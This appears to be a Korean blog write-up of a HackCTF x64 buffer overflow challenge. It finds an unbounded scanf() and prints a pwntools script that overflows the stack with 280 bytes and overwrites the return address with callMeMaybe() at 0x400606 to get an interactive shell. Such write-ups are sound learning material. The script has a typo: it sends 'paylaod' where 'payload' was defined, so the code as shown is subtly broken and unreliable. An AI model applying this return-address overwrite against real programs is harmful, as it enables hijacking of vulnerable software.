tmxklab

[HackCTF/Pwnable] x64 Buffer Overflow 본문

War Game/HackCTF

[HackCTF/Pwnable] x64 Buffer Overflow

tmxk4221 2020. 1. 27. 21:23

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3004

 

1) 접속

  • hi를 입력하면 Hello와 함께 출력되면서 종료

 

2) IDA(Pseudocode)확인 - main()

  • scanf()를 통해 s변수에 입력의 제한없이 문자열을 받음 -> bof 취약점 존재
  • 입력받은 s변수와 "Hello"출력

 

3) IDA(Pseudocode)확인 - callMeMaybe()

  • main()에서 호출되지 않았으며 호출해야할 함수

2. 접근방법

1) 스택구조(main)

 

2) 결론

  • scanf()를 통해 ret의 주소를 callMeMaybe()의 시작주소로 변조

3. 풀이

1) callMeMaybe() 주소 확인

  • callMeMaybe() 주소 : 0x400606

 

2) 공격 코드 작성

from pwn import *   # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3004)

# SFP까지 dummy값으로 채움
payload = "A"*280
callmemaybe = 0x400606
payload += p64(callmemaybe)

p.sendline(paylaod)

# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()

 

3) 공격실행

 

Comments